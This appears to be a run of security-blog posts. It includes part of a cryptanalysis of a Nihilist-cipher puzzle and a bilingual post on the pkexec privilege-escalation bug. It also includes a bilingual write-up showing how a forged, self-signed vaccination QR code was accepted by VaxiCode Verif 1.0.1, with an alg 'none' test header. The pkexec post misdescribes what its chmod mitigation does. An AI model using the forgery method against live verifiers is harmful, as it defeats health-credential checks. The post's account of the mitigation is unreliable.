• Plus les nombres sont grands ou petits, plus les possibilités sont limitées. Par exemple, 22 ou 110 ne peuvent être obtenus que si la lettre encodée est la même que celle de la clé de surchiffrement et que cette lettre est soit dans le coin supérieur gauche ou le coin inférieur droit de la grille, respectivement.

• Un nombre ayant un 0 à la position des unités indique que les nombres additionnés proviennent de la dernière colonne.

• Similairement, un nombre ayant un 2 à la position des unités provient d’une addition de nombres de la première colonne.

• Une fois la longueur de la clé identifiée et un espace de clé réduit, on peut trouver la clé (si c’est un mot), par déduction ou avec un dictionnaire.

• Une fois la clé de surchiffrement trouvée, le problème se réduit à un simple chiffre de substitution, un chiffre de Polybe.

La cryptanalyse du chiffre des Nihilistes sera grandement facilitée si le message codé est long et/ou si on possède un autre message décodé qui aurait été chiffré avec la même grille et la même clé de surchiffrement. Malheureusement, dans le cas présent, on n’a aucun de ces deux éléments facilitateurs.

Déchiffrement

Il y a très peu de répétitions dans le message codé, 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, ce qui indique que la clé de surchiffrement n’est probablement par trivialement courte (1, 2 ou 3 caractères).

Longueur de la clé

La première étape est de déterminer la longueur de la clé de surchiffrement ce qui nous donnera la période du chiffre. Un chiffre aura une période de 4 si une clé de 4 caractères est répétée pour le chiffrement puisque chaque bloc de 4 lettres utilisera la même clé.

Pour déterminer la longueur de la clé, on va créer des tableaux avec un nombre de colonnes correspondant à la longueur de clé que l’on désir tester. Par exemple, si on veut vérifier si une clé de 6 caractères est possible, on doit créer la Table 7 de 6 colonnes et y placer le message chiffré dans l’ordre.

Table 7 : Tableau pour tester si une clé de 6 caractères est possible.

 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      

On doit créer un tableau de ce genre pour toutes les longueurs de clés de surchiffrement qu’on veut tester. Dans notre cas, entre 1 et 25 colonnes.

Pour chaque colonne d’un tableau, on applique l’algorithme ci-dessous. D’abord au chiffre des dizaines, puis au chiffre des unités. Si pour une colonne, cet algorithme retourne faux soit pour le chiffre des dizaines ou des unités, c’est qu’aucune addition n’est possible pour les combinaisons de nombres dans la colonne. La clé de surchiffrement ne peut donc avoir la longueur supposée.

Essentiellement, on vérifie que la différence entre le chiffre maximum et minimum est plus petite que 5. Si ce n’est pas le cas, c’est impossible qu’un même chiffre (entre 1 et 5) ait pu surencoder le chiffre des unités ou dizaines. Par exemple, si les chiffres des unités pour une colonne sont 2, 4, 7, 3, 4, la différence entre 7 et 2 est de

1. Or il est impossible de trouver deux chiffres tels que $x_1 + y = 7$ et $x_2 + y = 2$ où $1\leq x_i \leq 5$ et $1\leq y \leq 5$

array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \< 5

Si on revient à la Table 7, on constate que les chiffres des dizaines pour la première colonne sont 7, 5, 4, 3, 9. On a une différence de 6 entre les chiffres maximum et minimum, donc aucune clé de 6 caractères n’aurait pu être utilisée.

Si on applique cette règle pour des tableaux de 2 à 25 rangées (à l’aide d’un script Python maison), on obtient des longueurs de clés possibles de 10, 20, 22, 23, 24 ou 25. Comme le message a 25 caractères, les clés de longueur entre 20 et 25 sont considérées comme possibles puisque dans ces cas la majorité des colonnes ne contiendront qu’un nombre. Par contre, elles sont peu probables puisque si la longueur de la clé est près de la longueur du message, on aura presque un chiffre de Vernam (one-time pad) ce qui serait pratiquement impossible à décoder sans connaitre la clé.

Dans ces circonstances, la longueur de la clé est fort probablement de 10.

Espace de clé

Une fois la longueur de la clé établie, on peut tenter de réduire l’espace de clé. En effet, avec le chiffre des Nihilistes, ce ne sont pas toutes les clés de 10 caractères qui sont possibles, mais seulement un nombre réduit de celles-ci. Pour limiter le nombre de clés possibles on a besoin de la Table 8 avec autant de colonnes que la longueur de la clé.

Table 8 : Tableau de 10 colonnes.

 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      

Pour chacune des colonnes de ce tableau, on doit appliquer l’algorithme suivant qui produira la liste des nombres possiblement utilisés pour surchiffrer une colonne. Encore une fois, c’est une conséquence directe de l’utilisation du carré de Polybe qui limite le nombre des unité ou dizaines à un chiffre entre 1 et 5.

array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite < 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine < 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

Si on applique cet algorithme à chaque colonne de la Table 8 , on obtient les possibilités de la Table 9 pour chacun des caractères de la clé de surchiffrement.

Table 9 : Espace de clé.

Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52

Même si tous ces calculs sont faisables à la main, un script Python peut être une aide importante tant au point de vue temps, que santé mentale.

Des chiffres

Pour ce chiffre, on a donc une clé de 10 caractères chaque caractère ayant respectivement 6, 3, 6, 1, 2, 4, 6, 4, 4, et 6 possibilités. Le nombre de combinaisons possibles est de $6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$. Parmi ces combinaisons, beaucoup ne sont pas des mots. On pourrait commencer par les exclure mais, au final, si la clé est aléatoire nous avons 497664 clés à tester.

De plus, si on ne veut pas devoir valider manuellement chaque test de déchiffrage, il faudrait automatiser le tout en comparant chaque bloc de 4 caractères d’une tentative de décodage aux quadrigrammes français et anglais (on présume que le message est dans une de ces deux langues) qui sont au nombre d’environ 400000 chacun. Notons qu’il y a 22 blocs de 4 caractères possibles dans une séquence de 25 caractères.

Finalement, rien ne nous certifie qu’un carré de Polybe totalement aléatoire n’a pas été utilisé pour la substitution initiale. Pour 26 lettres on a $26! \approx 4 \times 10^{26}$ carrés possibles.

On aura approximativement $497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$ tests à faire.

Ça fait beaucoup de chemins à explorer, il faut donc réduire encore plus cet espace d’exploration en faisant plusieurs suppositions.

Suppositions

Pour débuter, on fera les suppositions suivantes:

1. La clé de surchiffrement est un mot. Probablement relié au podcast.

2. Le carré de Polybe utilisé est un des quelques carrés les plus connus (avec les lettres de l’alphabet pratiquement dans l’ordre).

3. La langue utilisée pour la clé et le message original est soit le français ou l’anglais.

4. L’algorithme des Nihilistes utilisé pour chiffer le message n’a pas été modifié pour compliquer le déchiffrement.

Trouver la clé de surchiffrement

Fort de ces suppositions, on peut enfin s’attaquer à la clé de surchiffrement. On présume que le carré de Polybe le plus commun, où on omet la lettre "J", a été utilisé (Table 10). Encoder le message avec ce carré impliquerait l’utilisation des lettres de la Table 11 pour chiffrer la clé.

Table 10 : Carré de Polybe présumément utilisé.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z

Table 11 : Lettres possibles pour la clé.

 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W

Les 10 lettres les plus communes dans les mots français sont e, a, i, s, n, r, t, o, l, u alors qu’en anglais il s’agit de e, t, a, o, i, n, s, h, r, d. Ne conservons pour l’instant que les lettres les plus communes pour les deux langues. En faisant ceci, on se rend presque immédiatement compte, si on a déjà joué au scrabble ou fait des mots cachés, qu’on a presque le mot SECURITÉ ou encore SECURITY (Table 12). Ce n’est très certainement pas un hasard.

Table 12 : Lettres possibles épurées.

 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    

Une bonne façon de vérifier si on est sur la bonne voie est d’utiliser cette clé de surchiffrement partielle pour décoder le message. L’utilisation de dCode accélère grandement ce genre de test puisqu’il permet de modifier rapidement soit le carré de Polybe, soit la clé. Comme il nous manque quelques lettres à la clé pour former un mot, on va les remplacer arbitrairement par la première lettre de chaque colonne. On obtient la clé SECURTTAAL. En utilisant celle-ci et la Table 10 pour tenter de déchiffrer le message on obtient PRZVAZEDKYZSNOTGPOGMZCKEX.

On remarque un petit mot anglais et quelques bigrammes communs en anglais dans le message partiellement décodé:
PRZVAZEDKYZSNOTGPOGMZCKEX.

C’est un grand pas puisqu’on a identifié la langue du message original. De plus, il y a plus de lettres "Z" qu’il ne faudrait dans ce message, ce qui laisse croire qu’il y a un problème avec le carré de Polybe utilisé. En consultant la liste des 10 lettres les plus communes en anglais on remarque que le "I", la cinquième lettre la plus utilisée dans cette langue, n’apparait jamais alors que le "Z" apparait à quatre reprises. Si on inverse les positions du "I" et du "Z" dans le carré de Polybe et qu’on tente à nouveau de décoder le message on obtient un message partiellement décodé avec encore plus de mots et mots partiels PRIVAIEDKYISNOTGPOGMICKEX.

À ce point, il est beaucoup plus facile d’essayer quelques autres clés que de tenter de modifier le carré de Polybe. En essayant avec les clés SECURITEAL et SECURITYAL on obtient:\

 SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?

La première tentative de clé, avec le mot en français, est clairement mieux même si deux lettres sont impossibles à décoder avec le carré de Polybe utilisé. Pour les deux dernières lettres de la clé, on peut soit utiliser la force brute et tester toutes les combinaisons possibles ou se souvenir (grâce à notre mini OSINT) que le site internet du podcast est securite.fm.

Avec la clé de surchiffrement "SECURITEFM", on décode le message PRIVATE?EXISNOTAP?BLICKEX qu’on peut deviner être "PRIVATEKEXISNOTAPUBLICKEY". Cependant, le message n’est pas totalement décodable avec cette clé. On peut facilement améliorer la situation en inversant les lettres "X" et "Y" dans le carré de Polybe pour obtenir la Table 13.

Table 13 : Carré de Polybe final.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I

Avec cette clé et ce carré de Polybe, deux nombres dans notre séquence de chiffres initiale ne peuvent être décodés 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95. Ils correspondent aux lettres aux positions 8 et 18 du message. Avec la clé de surchiffrement actuelle, le nombre 25 devrait être 10 puisqu’on devrait soustraire 15 (à cause du "E") et le nombre 45 devrait être 30, pour la même raison.

Or 10 et 30 ne peuvent être obtenus avec la clé et le carré de Polybe trouvés. Cependant, les nombres 25 et 45 correspondent aux lettres manquantes "K" et "U". Ces deux lettres n’ont tout simplement pas été surchiffrées avec la clé! Il s’agit soit d’une erreur involontaire ou d’une tentative de rendre le déchiffrement du message plus difficile. Au final, tous seront d’accord avec le message secret: "private key is not a public key".

Solution officielle

Après avoir validé le message secret avec les instances officielles de la French Connection. Les hautes autorités m’ont transmise la solution officielle que je vous communique. Un certain point dans celle-ci peut nous laisser perplexe :

1. Texte à encoder: PRIVATEKEYISNOTAPUBLICKEY
2. Jeu de caractères de clé: ABCDEFGHIJKLMNOPQRSTUVVVXYZ (w = VV)
3. Clé: SECURITE.FM
4. Encoder la réponse en hexa

Le tout a été encodé à l’aide d’un outil non spécifié, utilisant très certainement le chiffre des Nihilistes. Le point délicat dans cette solution étant bien évidement le point «.» entre SECURITE et FM. Il n’apparait nulle part dans les caractères utilisés dans le chiffre. Pourtant, l’outil utilisé a bien chiffré le message. Cette clé non conventionnelle explique probablement pourquoi deux lettres n’étaient pas encodées tel qu’attendu.

Ceci illustre la difficulté de déchiffrer un message encodé avec un algorithme et des outils inconnus. On n’est jamais à l’abris des surprises.

Références

• https://www.dcode.fr/chiffre-nihiliste

• https://gchq.github.io/CyberChef

• https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/

• http://www.crypto-it.net/eng/simple/nihilist.html

• http://www.benburlingham.com/core/articles/nihilist-cipher.html

(1) Ce travail est sujet à la licence WTFPL. Visitez http://www.wtfpl.net/ pour une copie complète de cette licence.

I woke up this morning to a very interesting news article on BleepingComputer: a new vulnerability has been disclosed that affects almost all the major Linux distributions. It allows any logged in user to easily elevate their privileges to that of root. Like, really easily!

The issue was discovered by Qualys researchers back in November 2021, and through “responsible disclosure” allowed the vendors to issue a patch (note that not ALL distributions have been patched, as you’ll see later). The bug is in the “pkexec” module, part of the “Policy Toolkit” (or Polkit for short) which handles requests to run commands as another user, much like “su”.

As it turns out, it’s an absolutely simple process to bypass pkexec and elevate one’s privileges to that of root. An exploit was published no less than 3 hours after Qualys published their findings. Curious to see if my Kali Linux VM was vulnerable, I did a quick Google search for the code shown in the BleepingComputer article; it literally comes up in 0.39 seconds and is the first link - talk about great SEO!

As you can see from the video below, I compiled the code and ran it, and sure enough: I was root!

Curious to see if Kali had released any updates for it (this VM was last updated about a week ago, as I keep my systems very up-to-date), I ran the full update and tried the exploit again. Unfortunately, it still worked, as the version of pkexec was still 0.105, the same as before the updates.

If your Linux distribution vendor has not yet updated their pkexec module, one mitigation described in the article is simply to strip the Read/Write rights from the file using “chmod 0755 /usr/bin/pkexec”.

This is nowhere as severe as the recent Log4j vulnerability, of course, as it would be highly unlikely that a logged in Linux server would be exposed to the Internet (right???), but it still puts your systems at risk from internal threats, or perhaps even from an outside attacker who is executing lateral movements inside your network. One potential risk is that an organisation might provide login credentials to IT techs to execute simple tasks without necessarily providing them with root access; this exploit allows them to very simply elevate their privileges and potentially cause damage.

Photo credit: schill - licence CC BY

Je me suis réveillé ce matin avec un article très intéressant sur BleepingComputer : une nouvelle vulnérabilité a été divulguée qui affecte presque toutes les principales distributions Linux. Elle permet à n’importe quel utilisateur connecté d’élever facilement ses privilèges à ceux de root. Vraiment facilement !

Le problème a été découvert par les chercheurs de Qualys en novembre 2021, et grâce à une “divulgation responsable”, les fournisseurs ont pu publier un correctif (notez que toutes les distributions n’ont pas été corrigées, comme vous le verrez plus tard). Le bogue se trouve dans le module “pkexec”, qui fait partie du “Policy Toolkit” (ou Polkit en abrégé) et qui traite les demandes d’exécution de commandes en tant qu’autre utilisateur, comme “su”.

Il s’avère qu’il est très simple de contourner pkexec et d’élever ses privilèges à ceux de root. Un exploit a été publié pas moins de 3 heures après que Qualys ait publié ses conclusions. Curieux de voir si ma VM Kali Linux était vulnérable, j’ai fait une recherche rapide sur Google pour le code montré dans l’article de BleepingComputer ; il apparaît littéralement en 0,39 secondes et est le premier lien - c’est de l’excellent référencement, ça !

Comme vous pouvez le voir dans la vidéo ci-dessous, j’ai compilé le code et l’ai exécuté, et comme de juste : j’étais root !

Curieux de voir si Kali avait publié des mises à jour pour ce programme (cette VM a été mise à jour pour la dernière fois il y a environ une semaine, car je garde mes systèmes très à jour), j’ai exécuté la mise à jour complète et essayé l’exploit à nouveau. Malheureusement, il fonctionnait toujours, car la version de pkexec était toujours 0.105, la même qu’avant les mises à jour.

Si le fournisseur de votre distribution Linux n’a pas encore mis à jour son module pkexec, une solution décrite dans l’article consiste simplement à retirer les droits de lecture/écriture du fichier en utilisant “chmod 0755 /usr/bin/pkexec”.

Cela n’est pas aussi grave que la récente vulnérabilité de Log4j, bien sûr, car il serait très improbable qu’un serveur Linux connecté soit exposé à Internet (n’est-ce pas ???), mais cela met tout de même vos systèmes en danger face à des menaces internes, ou peut-être même face à un attaquant extérieur qui effectue des mouvements latéraux au sein de votre réseau. Un risque potentiel est qu’une organisation fournisse des identifiants de connexion à des techniciens informatiques pour exécuter des tâches simples sans nécessairement leur donner un accès root ; cet exploit leur permet d’élever très simplement leurs privilèges et de causer potentiellement des dommages.

Crédit photo: schill - licence CC BY

Understanding SMART Health Cards

The SMART Health Card (SHC), which contains the information stored in your QR code, is based on a proven technology known as JSON Web Signature (explainer, JWS specification).

JWS allow, among other things, the cryptographic signing of arbitrary data (the payload), as well as its verification using information (the headers) contained within that very data, namely the public key and the signing method.

This same technology is used to build other technologies such as JSON Web Token, the Open ID suite of specifications, and others, which are very frequently used to store data outside of a controlled environment while ensuring its verifiable validity. For example, if you frequently use Google services, this same technology is used to connect you to them securely.

The concept of a signature involves a private key and a public key. The entity (the Government of Québec) that publishes the data (the QR code representing the SHC) uses the private key to sign it, and the applications that consume it use the public key (the VaxiCode Verif app) to validate that this data has not been modified by a malicious person. Without going into detail, the signed data is then considered safe and verifiable. For more information, we invite you to consult this article on signatures.

Now that we know the SHC data is tamper-proof, what does your QR code contain? It contains a few pieces of information, called claims.

A first claim, iss or issuer, identifies the entity that publishes this data. Another, iat or issued at, indicates the date on which it was published. Finally, a claim named vc or verifiable credentials contains the crucial information of the SHC.

Present in the latter are the type of data that the SHC contains (immunization data, COVID-19 context and others), and a list of entries.

One in particular describes the patient (you) who is the subject of the SHC. In it are found only your first name, last name, and your date of birth.

Then, for each dose of vaccine received, you will also find the information describing which vaccine was received, on what date, and the name of the place where the injection was performed.

The vulnerability

Let us now return to the main issue, namely the vulnerability contained in versions 1.0.1 and earlier of the VaxiCode Verif app.

It would allow the application to validate codes that were not issued by the Government of Québec. By this, we mean that a person would be able to issue and sign an SHC themselves, thereby succeeding in defeating the application’s verification that the data included in it is indeed truthful (signature) and endorsed by the only authority currently having the capacity to issue SHCs (claim iss).

This vulnerability was first made public on Friday, August 27, 2021, in an article by Radio-Canada.

Possible avenues of vulnerability

Before validating the vulnerability of the verification application, let us go through several common problems in the implementation of JWS validations and similar technologies that could allow such a result.

Since the vulnerability was found less than 24 hours after the application’s release, it is unlikely that the flaws are the result of very complicated operations. Let us start with these few basic checks:

1. Are the public keys indeed used to validate the content of the JWS?
2. Is the validation of the iss claim done correctly?
3. Are the external JWK downloaded and used?
4. Are the keys used properly?
5. Could it be possible that insecure signing modes are allowed (specifically, alg: "none")?

Tools used

The following common tools were used for the majority of the tests:

• http-server to serve files during the tests.
• ngrok to make the server publicly available.
• @pathcheck/shc-sdk to easily generate SHC, JWKS and others. It uses the common package node-jose.
• Smart Health Card Scanner to inspect SHC easily.
• A QR scanning application to read the content of the QR codes.

To validate alg: "none", these were added to the list:

• node-jwa to generate JWS with this type of algorithm.
• pako to compress the JWS payload.

Checks

Use of the government’s public key and use of the iss claim

To begin, an existing QR was scanned to obtain the string of characters making up the SHC. The latter was opened in the Smart Health Card Scanner to quickly visualize its content.

Its content was copied into a script allowing a new SHC to be generated using SHC-SDK, but signed with a different JWK than the application’s. The payload was left identical.

At the same time, the iss claim is left identical to validate that this does not allow the signature validation to be ignored.

Result: VaxiCode Verif displays an error message: This QR code is not valid proof of vaccination. We assume that the signature was indeed validated and that the iss claim does not allow it to be bypassed.

External JWK

JWK is a format allowing the exchange of cryptographic keys that is used when validating the signatures of the SHC issued by the government. We speak of JWKS when it is a set of keys (JSON Web Key Set).

We attempt to import an external JWKS at the path .well-known/jwks.json. A very simple local HTTP server is set up behind a tunnel to make it publicly available with the HTTPS protocol. The iss claim is changed to the tunnel’s domain (for reference, let us call it Serveur.Local). A JWKS is also generated, then placed in the .well-known folder, then the SHC is generated and scanned. The JWKS is therefore accessible at the address https://Serveur.Local/.well-known/jwks.json.

Result: The proxy indicates having indeed received a call to GET /.well-known/jwks.json. At the time of the scan, VaxiCode Verif indicates an error: Certified by an unknown authority. Serveur.Local. We assume that the JWK were indeed imported. This is entirely normal up to this point.

Usage of public keys

We now attempt to see whether the JWK that was imported is usable only by its issuer. We set the iss claim back to its initial value (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) and generate a new SHC, then scan it.

Result: The SHC is accepted as truthful. We have reproduced the vulnerability. We deduce that the JWK that was imported in the last step was not correctly marked as being usable only by the issuer Serveur.Local to validate signatures, and that the issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer is now able to validate signatures with the keys of Serveur.Local, which should never happen.

Insecure signatures

A compliant JWS similar to the SHC format was also created and scanned, but with the following header:

{
  "alg": "none",
  "zip": "DEF"
}

alg: "none" indicates to the signature verifier that there is no signature to verify.

Result: The VaxiCode Verif app is simply unable to recognize a QR code of this type. No vulnerability here.

Analysis

The problem causing the vulnerability is mentioned in the SHC specification. It is the responsibility of the group developing an application making use of the SHC standard to pay attention to it. The problem is described directly:

1. in the SHC specification, sections Signing Health Cards and Determining keys associated with an issuer as well as
2. in the JWS specification, section Key Origin Authentication, from which the former inherits.

“10.3. Key Origin Authentication: The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”

Excerpt from the JWS specification

In clearer terms, one must ensure that the signature is verified only with keys originating from the issuer, but the implementation in the VaxiCode Verif application did not do so for versions <=1.0.1.

Are the QR codes compromised?

No. As mentioned, the QR codes that contain the SHC information are compliant with the specification and are entirely secure.

Here, the first part of the problem lies in the fact that the keys used to verify the codes are not only associated with their respective issuers. This is a regrettable omission, however (and fortunately), it is easy to fix.

In addition, the application should only validate trusted issuers, which seems to be the case, but remains to be verified following the correction.

Validation of the fix

On Sunday, August 29, 2021, a new version of VaxiCode Verif, 1.0.2, was published on the Apple App Store. The changes are described as follows:

• Improvement of the proof verifier
• Improvements for smaller screens
• Accessibility improvements

We used the same procedure as the one described above to attempt to validate the fix.

Result: The vulnerability has indeed been fixed, and we are no longer able to exploit it.

Without access to the application’s code, it is difficult to describe exactly the fixes made. However, we are still able to make a few observations. The most important concerns the fact that the application no longer downloads the external JWKS at the issuer’s /.well-known/jwks.json path; it is therefore no longer able to perform either the import or the validation of signatures generated with keys other than the government’s. In addition, the error message displayed in this case is no longer Certified by an unknown authority. Serveur.Local, but rather This QR code is not valid proof of vaccination.

Comprendre les SMART Health Cards

La SMART Health Card (SHC), contenant les informations enregistrées dans votre code QR, est basée sur une technologie éprouvée connue sous le nom de JSON Web Signature (explicatif, spécification JWS).

Les JWS permettent, entre autres, la signature cryptographique de données arbitraires (le payload), ainsi que leur vérification à l’aide d’informations (les entêtes) contenues à même ces données, soit la clé publique et la méthode de signature.

Cette même technologie est utilisée pour bâtir d’autres technologies telles que JSON Web Token, la suite de spécifications Open ID, et autres, qui sont très fréquemment utilisés pour enregistrer des données hors d’un environnement contrôlé tout en assurant la validité vérifiable de celles-ci. Par exemple, si vous utilisez fréquemment les services Google, cette même technologie est utilisée pour vous connecter à ceux-ci de manière sécuritaire.

Le concept de signature implique une clé privée et une clé publique. L’entité (le gouvernement du Québec) qui publie les données (le code QR représentant le SHC) utilise la clé privée pour signer celles-ci, et les applications qui les consomment utilisent la clé publique (l’app VaxiCode Verif) pour valider que ces données n’ont pas été modifiées par une personne malveillante. Sans entrer dans les détails, les données signées sont ensuite considérées comme sûres et vérifiables. Pour plus d’informations, nous vous invitons à consulter cet article sur les signatures.

Maintenant que nous savons que les données du SHC sont inviolables, que contient votre code QR? Celui-ci contient quelques informations, appelées claims.

Un premier claim, iss ou issuer, identifie l’entité qui publie ces données. Un autre, iat ou issued at indique la date où elles ont été publiées. Enfin, un claim nommé vc ou verifiable credentials contient les informations cruciales du SHC.

Sont présents dans ces dernières le type de données que le SHC contient (données d’immunisation, contexte COVID-19 et autres), et une liste d’entrées.

Une en particulier décrit le patient (vous) dont fait l’objet le SHC. Dans celle-ci, se trouvent uniquement votre prénom, nom de famille ainsi que votre date de naissance.

Ensuite, pour chaque dose de vaccin reçue, vous trouverez aussi les informations décrivant quel vaccin a été reçu, à quelle date et le nom de l’endroit où l’injection a été réalisée.

La vulnérabilité

Revenons maintenant à la problématique principale, soit la vulnérabilité contenue dans les version 1.0.1 et antérieures de l’app VaxiCode Verif.

Celle-ci permettrait à l’application de valider des codes qui n’ont pas été émis par le gouvernement du Québec. Par là, on entend qu’une personne serait en mesure d’émettre et signer elle-même un SHC, par ce fait réussissant à déjouer la vérification faite par l’application que les données qui y sont incluses sont bel et bien véridiques (signature) et cautionnées par la seule autorité ayant actuellement la capacité d’émettre les SHC (claim iss).

Cette vulnérabilité a été rendue publique en premier le vendredi 27 août 2021 dans un article de Radio-Canada.

Avenues possibles de vulnérabilité

Avant de valider la vulnérabilité de l’application de vérification, parcourons plusieurs problèmes communs dans l’implantation de validations de JWS et technologies similaires qui pourraient permettre un tel résultat.

La vulnérabilité ayant été trouvée moins de 24h après la sortie de l’application, il est peu probable que les failles soient le résultat d’opérations très compliquées. Commençons par ces quelques vérifications de base:

1. Les clés publiques sont bel et bien utilisées pour valider le contenu du JWS?
2. La validation du claim iss se fait correctement?
3. Les JWK externes sont-ils téléchargés et utilisés?
4. Les clés sont-elles bien utilisées?
5. Serait-ce possible que des modes de signature non sécuritaires soient permis (spécifiquement, alg: "none")?

Outils utilisés

Les outils communs suivants ont été utilisés pour la majorité des tests:

• http-server pour servir des fichiers pendant les tests.
• ngrok pour rendre le serveur disponible publiquement.
• @pathcheck/shc-sdk pour facilement générer des SHC, JWKS et autres. Celle-ci utilise le package courant node-jose.
• Smart Health Card Scanner pour inspecter les SHC facilement.
• Une application de scan QR pour lire le contenu des codes QR.

Pour valider alg: "none" ceux-ci ont été ajoutés à la liste:

• node-jwa pour générer des JWS avec ce type d’algorithme.
• pako pour compresser le payload du JWS.

Vérifications

Utilisation de la clé publique du gouvernement et utilisation du claim iss

Pour commencer, un QR existant a été scanné pour obtenir la chaine de caractères composant le SHC. Ce dernier a été ouvert dans le Smart Health Card Scanner pour rapidement visualiser son contenu.

Le contenu de celui-ci a été copié dans un script permettant de générer un nouveau SHC à l’aide de SHC-SDK, mais signé avec un JWK différent que celui de l’application. Le payload a été laissé identique.

Par la même occasion, on laisse le claim iss à l’identique pour valider que cela ne permet pas d’ignorer la validation de la signature.

Résultat: VaxiCode Verif indique un message d’erreur: Ce code QR n’est pas une preuve de vaccination valide. On assume que la signature a bien été validée et que le claim iss ne permet pas de contourner celle-ci.

Les JWK externes

JWK est un format permettant l’échange de clés cryptographiques qui est utilisé lors de la validation des signatures des SHC émis par le gouvernement. On parle de JWKS quand il s’agit d’un ensemble de clés (JSON Web Key Set).

Nous tentons d’importer un JWKS externe au chemin .well-known/jwks.json. Un serveur HTTP local très simple est mis en place derrière un tunnel pour le rendre disponible publiquement avec le protocole HTTPS. Le claim iss est changé pour le domaine du tunnel (pour référence, appelons le Serveur.Local). Un JWKS est lui aussi généré, puis placé dans le dossier .well-known, puis le SHC est généré est scanné. Le JWKS est donc accessible à l’adresse https://Serveur.Local/.well-known/jwks.json.

Résultat: Le proxy indique avoir en effet reçu un appel à GET /.well-known/jwks.json. Au moment du scan, VaxiCode Verif indique une erreur: Certifié par une autorité inconnue. Serveur.Local. On assume que les JWK ont bien été importés. Cela est entièrement normal jusque là.

Usage des clés publiques

Nous tentons maintenant de voir si le JWK qui a été importé est uniquement utilisable par le issuer de celui-ci. Nous remettons le claim iss à sa valeur initiale (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) et générons un nouveau SHC, puis le scannons.

Résultat: Le SHC est accepté comme véridique. Nous avons reproduit la vulnérabilité. Nous déduisons que le JWK qui a été importé à la dernière étape n’a pas été correctement marqué comme étant utilisable uniquement par le issuer Serveur.Local pour valider les signatures, et que le issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer est maintenant capable de valider les signatures avec les clés de Serveur.Local, ce qui ne devrait jamais arriver.

Signatures non sécuritaires

Un JWS conforme semblable au format SHC a aussi été créé et scanné, mais avec l’entête suivant:

{
  "alg": "none",
  "zip": "DEF"
}

alg: "none" indique au vérificateur de signature qu’il n’y a pas de signature à vérifier.

Résultat: L’app VaxiCode Verif est simplement incapable de reconnaitre un code QR de ce type. Pas de vulnérabilité ici.

Analyse

Le problème causant la vulnérabilité est mentionné dans la spécification des SHC. C’est la responsabilité du groupe développant une application faisant usage de la norme SHC d’y porter attention. Le problème est décrit directement:

1. dans la spécification SHC, sections Signing Health Cards et Determining keys associated with an issuer ainsi que
2. dans la spécification JWS, section Key Origin Authentication, de laquelle cette première hérite.

“10.3. Key Origin Authentication: The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”

Extrait de la spécification JWS

En termes plus clair, il faut s’assurer que la signature ne soit vérifiée seulement qu’avec les clés provenant de l’issuer, mais l’implantation dans l’application VaxiCode Verif ne le faisait pas pour les versions <=1.0.1.

Les codes QR sont-ils compromis?

Non. Tel que mentionné, les code QR qui contiennent les informations SHC sont conformes à la spécification et sont entièrement sécuritaires.

Ici, la première partie du problème réside sur le fait que les clés utilisées pour vérifier les codes ne sont pas uniquement associées à leurs émetteurs respectifs. Il s’agit d’une omission regrettable, cependant (et heureusement), celle-ci est facile à régler.

De plus, l’application ne devrait valider que les émetteurs de confiance, ce qui semble être le cas, mais qui reste à vérifier suite à la correction.

Validation de la correction

Le dimanche 29 août 2021, une nouvelle version de VaxiCode Verif, 1.0.2, a été publiée sur le Apple App Store. Les changements sont décrits ainsi:

• Amélioration du vérificateur de preuves
